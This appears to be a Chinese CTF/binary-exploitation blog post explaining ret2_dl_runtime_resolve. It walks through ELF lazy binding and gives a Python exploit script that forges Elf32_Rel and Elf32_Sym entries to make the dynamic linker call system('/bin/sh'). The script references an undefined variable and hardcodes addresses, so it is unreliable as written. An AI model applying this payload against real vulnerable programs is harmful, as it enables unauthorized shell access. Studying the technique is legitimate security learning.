LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

ret2_dl_runtime_resolve

dl_runtime_resolve 工作流程

dl_runtime_resolve用于延迟绑定,在程序运行过程中根据函数的名称来获取函数的真实地址并写入GOT表中,其正常的工作流程如下(以write函数为例)

  1. 首先在调用call write@plt的时候,由于函数是第一次调用,因此got表中存储的是write plt的下一条指令

    1
    2
    3
    write@plt  
    push index; <-----
    jmp PLT[0]
  2. push index中的index表示的是动态链接表.rel.plt(函数重定位表)中的偏移值,其数据结构如下

    1
    2
    3
    4
    typedef struct {
    Elf32_Addr r_offset; // 函数的虚拟地址,与.got.plt中的地址相同
    Elf32_Word r_info; // 符号表索引
    } Elf32_Rel;

    jmp PLT[0]PLT[0]中存储的是一段固定的程序

    1
    2
    push GOT[1];  <-----
    jmp GOT[2];

    GOT[1]中存储的是链接器的标识信息,GOT[2]中存储的是动态链接器中的入口点_dl_runtime_resolve的函数地址。

  3. 此时即跳转到_dl_runtime_resolve函数中。此时函数栈中存在两个参数及link_map,index。该函数中起到解析符号作用的函数是_dl_fixup,其采用的是寄存器传输参数。edx=link_map,eax=index。函数代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    _dl_fixup (
    struct link_map *l, ElfW(Word) reloc_arg)
    {
    //得到.dynsym即动态链接符号表
    const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    //得到.dynstr即动态链接字符串表
    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    //得到.rel.plt函数重定位表,找到函数对应的Elf32_Rel结构
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    //得到函数对应的Elf32_Sym结构
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    //判断动态连接的类型
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    //根据函数名得到函数在libc中的偏移地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    //加上libc基址得到函数的真实地址
    value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
    //写入GOT表
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
    }
  4. 首先函数获取了函数对应重定位表得到其中的r_info即表示在动态链接符号表(.dynsym)中的偏移,偏移的计算方式ELFW(R_SYM) (reloc->r_info)=(reloc->r_info) >> 8

    .dynsym的数据结构如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    typedef struct
    {
    Elf32_Word st_name; // Symbol name(string tbl index)
    Elf32_Addr st_value; // Symbol value
    Elf32_Word st_size; // Symbol size
    unsigned char st_info; // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
    } Elf32_Sym;
  5. st_name表示了函数对应的名称字符串在动态链接字符串表(.synstr)中的起始地址。

  6. 根据函数名称得到相应的函数在libc中的偏移之后,加上libc基址即可以得到函数的真实地址。

因此我们根据函数的流程将相应的数据结构伪造即可以绕过NX,ASLR调用函数。

EXP

核心为更改dl_runtime_resolve所解析的函数名称

  1. 返回地址控制为PLT[0],传输的参数为index
  2. 伪造index使得函数对应.rel.plt结构指向伪造的Elf32_Rel数据结构
  3. 伪造Elf32_Rel中的r_info,使得函数对应的.dynsym结构指向伪造的Elf32_Sym结构
  4. 伪造Elf32_Sym中的st_name,使得函数对应的.dynstr中的起始地址指向伪造的函数名称,例如system
  5. system函数的参数设置为/bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cmd = "/bin/sh"
jmp_plt0 = 0x80483db
rel_plt = 0x8048330 # objdump -d -j .rel.plt bof
write_got = elf.got['write']
dynsym = 0x080472fc
dynstr = 0x08047264

# 伪造index
fake_index = base_stage + 4*6 - rel_plt
# 设置伪造Elf32_Sym数据结构的地址
fake_sym_address = base_stage + 4*8
# dymsym的数据结构大小均为0x10,这里为了对齐
pading = 0x10-((fake_sym_address-dynsym)&0xf)
fake_sym_address = fake_sym_address + pading
pading = 'b'*pading
# 伪造r_info
index_dynsym = (fake_sym_address - dynsym)/0x10
r_info = (index_dynsym << 8) | 0x7 # make sure the type is R_386_JUMP_SLOT=7
# 伪造Elf32_Rel数据结构
fake_reloc = p32(write_got) + p32(r_info)
# 设置system字符串
system_str_address = fake_sym_address + 0x10
# 伪造st_name
st_name = system_str_address-dynstr
# 伪造Elf32_Sym数据结构
fake_sym = p32(st_name) + p32(0)*2 + p32(0x12)

payload = p32(jmp_plt0)
payload += p32(fake_index)
payload += 'AAAA' # fake return address
payload += p32(base_stage + 80) # /bin/sh address
payload += 'a'*8 # useless padding
payload += fake_reloc
payload += pading
payload += fake_sym
payload += "system\x00"
payload += 'A' * (80 - len(payload2)) # padding
payload += cmd + '\x00'

参考

Return-to-dl-resolve

CTF-WIKI 高级ROP